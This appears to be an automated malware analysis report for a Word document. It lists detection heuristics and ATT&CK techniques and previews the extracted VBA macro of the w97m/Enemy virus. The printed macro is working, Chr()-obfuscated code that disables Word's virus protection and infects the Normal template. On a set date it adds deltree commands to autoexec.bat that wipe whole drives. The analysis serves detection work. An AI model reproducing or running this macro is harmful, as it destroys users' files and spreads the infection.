MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1027 Obfuscated Files or Information
The sample contains VBA macros that attempt to disable virus protection and execute a batch file. The macro code is obfuscated, but it appears to be constructing paths to 'C:\windows\system\brsec32.dll' and 'C:\autoexec.bat'. The Document_Open macro is designed to run automatically when the document is opened, indicating a malicious intent to compromise the system.
Heuristics 3
-
ClamAV: Heuristics.Macro.DisableVirusProtection-6136181-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Heuristics.Macro.DisableVirusProtection-6136181-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 39506 bytes |
SHA-256: c8df07b6390359e9530c7849258dcaae5f22f778876a9e78d7012c591259e384 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'Enemy Private Sub Document_Open() 'w97m/Enemy On Error Resume Next Options.VirusProtection = 0 Options.ConfirmConversions = 0 Options.SaveNormalPrompt = 0 Dim Flag As Boolean Dim hFile As Long With Application .EnableCancelKey = False .ScreenUpdating = False .DisplayAlerts = wdAlertsNone .ShowVisualBasicEditor = False End With If Day(Now()) = 26 Then If UCase(Dir(Chr(99) + Chr(58) + Chr(92) + Chr(119) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(115) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(92) + Chr(98) + Chr(114) + Chr(115) + Chr(101) + Chr(99) + Chr(51) + Chr(50) + Chr(46) + Chr(100) + Chr(108) + Chr(108))) <> UCase(Chr(98) + Chr(114) + Chr(115) + Chr(101) + Chr(99) + Chr(51) + Chr(50) + Chr(46) + Chr(100) + Chr(108) + Chr(108)) Then If UCase(Left$(Application.UserName, 1)) = "R" Then Flag = 1 BatMod = GetAttr(Chr(99) + Chr(58) + Chr(92) + Chr(97) + Chr(117) + Chr(116) + Chr(111) + Chr(101) + Chr(120) + Chr(101) + Chr(99) + Chr(46) + Chr(98) + Chr(97) + Chr(116)) SetAttr strFile, vbNormal Deltree$ = Chr(100) + Chr(101) + Chr(108) + Chr(116) + Chr(114) + Chr(101) + Chr(101) + Chr(32) + Chr(47) + Chr(121) + Chr(32) Nul$ = Chr(32) + Chr(62) + Chr(32) + Chr(110) + Chr(117) + Chr(108) hFile = FreeFile Open Chr(99) + Chr(58) + Chr(92) + Chr(97) + Chr(117) + Chr(116) + Chr(111) + Chr(101) + Chr(120) + Chr(101) + Chr(99) + Chr(46) + Chr(98) + Chr(97) + Chr(116) For Append Access Write As hFile Print #hFile, vbCr + vbLf + Chr(64) + Chr(101) + Chr(99) + Chr(104) + Chr(111) + Chr(32) + Chr(111) + Chr(102) + Chr(102) Print #hFile, Chr(98) + Chr(114) + Chr(101) + Chr(97) + Chr(107) + Chr(32) + Chr(111) + Chr(102) + Chr(102) If Flag = 1 Then Print #hFile, Deltree$ + Chr(102) + Chr(58) + Chr(92) + Nul$ Print #hFile, Deltree$ + Chr(101) + Chr(58) + Chr(92) + Nul$ Print #hFile, Deltree$ + Chr(100) + Chr(58) + Chr(92) + Nul$ End If Print #hFile, Deltree$ + Chr(99) + Chr(58) + Chr(92) + Chr(109) + Chr(121) + Chr(100) + Chr(111) + Chr(99) + Chr(117) + Chr(126) + Chr(49) + Nul$ Print #hFile, Deltree$ + Chr(99) + Chr(58) + Chr(92) + Chr(112) + Chr(114) + Chr(111) + Chr(103) + Chr(114) + Chr(97) + Chr(126) + Chr(49) + Nul$ Print #hFile, Deltree$ + Chr(99) + Chr(58) + Chr(92) + Chr(119) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(115) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Nul$ Print #hFile, Deltree$ + Chr(99) + Chr(58) + Chr(92) + Nul$ Close hFile SetAttr strFile, BatMod End If End If With Dialogs(wdDialogFileSummaryInfo) .Author = "" .Title = "" .Subject = "" .Comments = "" .Keywords = "" .Execute End With NormalAttrib = GetAttr(NormalTemplate.FullName) If NormalAttrib = vbReadOnly Then GoTo Fuck If NormalAttrib = vbReadOnly + vbArchive Then GoTo Fuck Set ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule Set nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule If ad.Lines(1, 1) <> Chr(39) + Chr(69) + Chr(110) + Chr(101) + Chr(109) + Chr(121) Then If ad.CountOfLines > 0 Then ad.DeleteLines 1, ad.CountOfLines ad.AddFromString (Chr(39) + Chr(69) + Chr(110) + Chr(101) + Chr(109) + Chr(121) & vbCr & Chr(80) + Chr(114) + Chr(105) + Chr(118) + Chr(97) + Chr(116) + Chr(101) + Chr(32) + Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(95) + Chr(79) + Chr(112) + Chr(101) + Chr(110) + Chr(40) + Chr(41) & vbCr & nt.Lines(3, nt.CountOfLines - 10)) End If If nt.Lines(1, 1) <> Chr(39) + Chr(69) + Chr(110) + Chr(101) + Chr(109) + Chr(121) Then If nt.CountOfLines > 0 Then ad.DeleteLines 1, ad.CountOfLines nt.DeleteLines 1, nt.CountOfLines nt.AddFromString (Chr(39) + Chr(69) + Chr(110) + Chr(101) + Chr(109) + Chr(121) & vbCr & Chr(80) + Chr(114 ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.